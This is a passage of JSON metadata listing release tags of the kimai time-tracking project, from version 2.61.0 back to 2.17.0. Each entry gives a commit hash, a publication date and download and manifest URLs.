.0/manifests"},{"name":"2.61.0","sha":"368a8e48efac4ea2d644b466a8b19eb2fd68d31f","kind":"commit","published_at":"2026-06-20T11:06:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.61.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.61.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.61.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.61.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.61.0/manifests"},{"name":"2.60.0","sha":"23f5628cc936f13e093a7df770a1bf43e3830661","kind":"commit","published_at":"2026-06-10T15:44:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.60.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.60.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.60.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.60.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.60.0/manifests"},{"name":"2.59.0","sha":"8ed666c0eb03c97aa82df109edb8929566fe5f99","kind":"commit","published_at":"2026-06-05T17:10:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.59.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.59.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.59.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.59.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.59.0/manifests"},{"name":"2.58.0","sha":"31a8f887a5cda517db7b4320a7ad997c87d08601","kind":"commit","published_at":"2026-05-25T13:39:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.58.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.58.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.58.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.58.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.58.0/manifests"},{"name":"2.57.0","sha":"09b7adaa062d4843afa882fc1343800467a6125d","kind":"commit","published_at":"2026-05-21T20:22:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.57.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.57.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.57.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.57.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.57.0/manifests"},{"name":"2.56.0","sha":"ebb54e9c0c5c6ae342bcff3bf63beebfda838cfd","kind":"commit","published_at":"2026-04-27T15:10:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.56.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.56.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.56.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.56.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.56.0/manifests"},{"name":"2.55.0","sha":"372c676afa0f4b6343cb0cc0db9afe89360e8292","kind":"commit","published_at":"2026-04-16T20:06:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.55.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.55.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.55.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.55.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.55.0/manifests"},{"name":"2.54.0","sha":"d456cd3ce2ec5d2599d6cce9490f01f67332d77f","kind":"commit","published_at":"2026-04-13T19:23:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.54.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.54.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.54.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.54.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.54.0/manifests"},{"name":"2.53.0","sha":"999d820d4ca1fb3bb83395ad9bfc73d73b5eb04a","kind":"commit","published_at":"2026-04-10T16:09:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.53.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.53.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.53.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.53.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.53.0/manifests"},{"name":"2.52.0","sha":"cad9f587033945bfc748c318ec9d2ea0dba4f0ce","kind":"commit","published_at":"2026-03-16T16:44:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.52.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.52.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.52.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.52.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.52.0/manifests"},{"name":"2.51.0","sha":"a0601c8cb28fed1cca19051a8272425069ab758f","kind":"commit","published_at":"2026-03-01T15:53:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.51.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.51.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.51.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.51.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.51.0/manifests"},{"name":"2.50.0","sha":"4154de6bd18c2c7febbffd24669d0b2a3d16fa29","kind":"commit","published_at":"2026-02-25T20:07:40.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.50.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.50.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.50.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.50.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.50.0/manifests"},{"name":"2.49.0","sha":"ff6918fcab83ae2bc952d02bb2592765b6e19ccd","kind":"commit","published_at":"2026-02-15T20:31:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.49.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.49.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.49.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.49.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.49.0/manifests"},{"name":"2.48.0","sha":"3f184e42c80b21b29f39d629e5df0ff4c1277383","kind":"commit","published_at":"2026-01-31T09:28:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.48.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.48.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.48.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.48.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.48.0/manifests"},{"name":"2.47.0","sha":"d429c566876f3ac384e46270fc15c0cd29886401","kind":"commit","published_at":"2026-01-25T08:51:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.47.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.47.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.47.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.47.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.47.0/manifests"},{"name":"2.46.0","sha":"6a86afb5fd79f6c1825060b87c09bd1909c2e86f","kind":"commit","published_at":"2026-01-06T23:59:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.46.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.46.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.46.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.46.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.46.0/manifests"},{"name":"2.45.0","sha":"9e87fc131b7bf757986afc85f18396cf75d7a7ca","kind":"commit","published_at":"2025-12-27T16:53:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.45.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.45.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.45.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.45.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.45.0/manifests"},{"name":"2.44.0","sha":"07ac6c308f1048f71d281920befc123275f6eb4e","kind":"commit","published_at":"2025-11-19T14:21:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.44.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.44.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.44.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.44.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.44.0/manifests"},{"name":"2.43.0","sha":"8a42c9640f8777055556c4776bb35325858923aa","kind":"commit","published_at":"2025-11-14T16:41:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.43.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.43.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.43.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.43.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.43.0/manifests"},{"name":"2.42.0","sha":"8e6764b67aaec9d636105893b4594815337d5245","kind":"commit","published_at":"2025-11-12T15:15:04.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.42.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.42.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.42.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.42.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.42.0/manifests"},{"name":"2.41.0","sha":"a3ef1fd1cda22c4775441a4d6ec8d3a297ba7e6a","kind":"commit","published_at":"2025-11-09T21:48:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.41.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.41.0/manifests"},{"name":"2.40.0","sha":"190b1dd4f36cfad0661a663bb4ec1164da83239b","kind":"commit","published_at":"2025-09-26T10:12:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.40.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.40.0/manifests"},{"name":"2.39.0","sha":"5d3e46cce2c85d112eb7f99e957c3131879f5a9c","kind":"commit","published_at":"2025-08-31T10:56:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.39.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.39.0/manifests"},{"name":"2.38.0","sha":"04331420aef0a87b9cecac1334b200686e68f84c","kind":"commit","published_at":"2025-08-08T21:25:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.38.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.38.0/manifests"},{"name":"2.37.0","sha":"dfec8071660856f1aebbaeb06ad6a6fd64be7d07","kind":"commit","published_at":"2025-07-04T14:43:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.37.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.37.0/manifests"},{"name":"2.36.1","sha":"3d8fa3af44f3402ea6a68060e939cca1f6615614","kind":"commit","published_at":"2025-06-16T16:25:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.36.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.36.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.36.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.1/manifests"},{"name":"2.36.0","sha":"da10099248bed04fb676fb9bc39bc900341ac1c0","kind":"commit","published_at":"2025-06-11T12:26:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.36.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.0/manifests"},{"name":"2.35.1","sha":"12190141d763b61cd98e489d35cb0d8cf3c2a1dd","kind":"commit","published_at":"2025-05-31T13:29:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.35.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.35.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.35.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.1/manifests"},{"name":"2.35.0","sha":"0420eb27c7fa81d0328147d1c53b05c92fb1d566","kind":"commit","published_at":"2025-05-28T11:34:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.35.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.0/manifests"},{"name":"2.34.0","sha":"6e26a37c4d1fd33c7cc26fb4ae90ca4f0a516595","kind":"commit","published_at":"2025-05-18T12:57:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.34.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.34.0/manifests"},{"name":"2.33.0","sha":"2a9de506a13a7c94c9bc2f60236f9c4bbc8c1f5c","kind":"commit","published_at":"2025-05-03T09:40:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.33.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.33.0/manifests"},{"name":"2.32.0","sha":"9ca69e11140deb1da6b2756d931b449beca7880d","kind":"commit","published_at":"2025-04-06T09:36:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.32.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.32.0/manifests"},{"name":"2.31.0","sha":"2a75cd6230238b668ab9e1e363f53956b6cacb78","kind":"commit","published_at":"2025-03-13T17:00:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.31.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.31.0/manifests"},{"name":"2.30.0","sha":"cce49cc4092115c13f2ea3cf73b5bcc2c9698074","kind":"commit","published_at":"2025-02-21T19:50:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.30.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.30.0/manifests"},{"name":"2.29.0","sha":"b42c77a2a1b31ac266878d4417466cc92b4482bc","kind":"commit","published_at":"2025-02-08T23:16:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.29.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.29.0/manifests"},{"name":"2.28.0","sha":"9d7b418d991ce50e8909e2a7f67d441847260651","kind":"commit","published_at":"2025-01-20T15:09:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.28.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.28.0/manifests"},{"name":"2.27.0","sha":"4332ef95a2074a4adcc42465c46328f240d66a66","kind":"commit","published_at":"2024-12-22T21:50:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.27.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.27.0/manifests"},{"name":"2.26.0","sha":"82a3b99a3171d3604cef6abf2bc4c7adae41e2dd","kind":"commit","published_at":"2024-12-05T09:42:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.26.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.26.0/manifests"},{"name":"2.25.0","sha":"eb933e70218488568bc6028f6a07745c76c90588","kind":"commit","published_at":"2024-11-30T13:26:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.25.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.25.0/manifests"},{"name":"2.24.0","sha":"31bae44f3cdd4dd4bd40d46421d086975a30f5ee","kind":"commit","published_at":"2024-10-20T20:30:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.24.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.24.0/manifests"},{"name":"2.23.0","sha":"8c26ff9aed19b78aaac7fbc91c3d0ef5cb2cd36b","kind":"commit","published_at":"2024-10-04T09:24:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.23.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.23.0/manifests"},{"name":"2.22.0","sha":"13649e146c602708e4699e96f3b66212959666ce","kind":"commit","published_at":"2024-09-22T15:26:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.22.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.22.0/manifests"},{"name":"2.21.0","sha":"3e0dadc0c87ddfc60aa94092e4495b6f42e5d8dd","kind":"commit","published_at":"2024-09-01T12:58:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.21.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.21.0/manifests"},{"name":"2.20.1","sha":"2a728154814be6c0a1dc62991204ecf6d7695269","kind":"commit","published_at":"2024-08-04T17:38:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.20.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.1/manifests"},{"name":"2.20.0","sha":"ff6a3e826282a831152eaa60327653fabf76c836","kind":"commit","published_at":"2024-08-04T16:22:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.20.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.0/manifests"},{"name":"2.19.1","sha":"b9c1036b2137d18217a6c41eb6c64733f58d433f","kind":"commit","published_at":"2024-07-28T16:04:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.19.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.1/manifests"},{"name":"2.19.0","sha":"818c080d2876959342047712d84531a3bb56a330","kind":"commit","published_at":"2024-07-27T15:37:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.19.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.0/manifests"},{"name":"2.18.0","sha":"987b46bf8f759a598093aa9b749eed7613907fde","kind":"commit","published_at":"2024-06-16T11:15:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.18.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.18.0/manifests"},{"name":"2.17.0","sha":"0c445d1bc46b30f1e58c7e3c4b71fb825569b79b","kind":"commit","published_at":"2024-05-19T15:42:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.17.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.17.0","tag_url":"https://r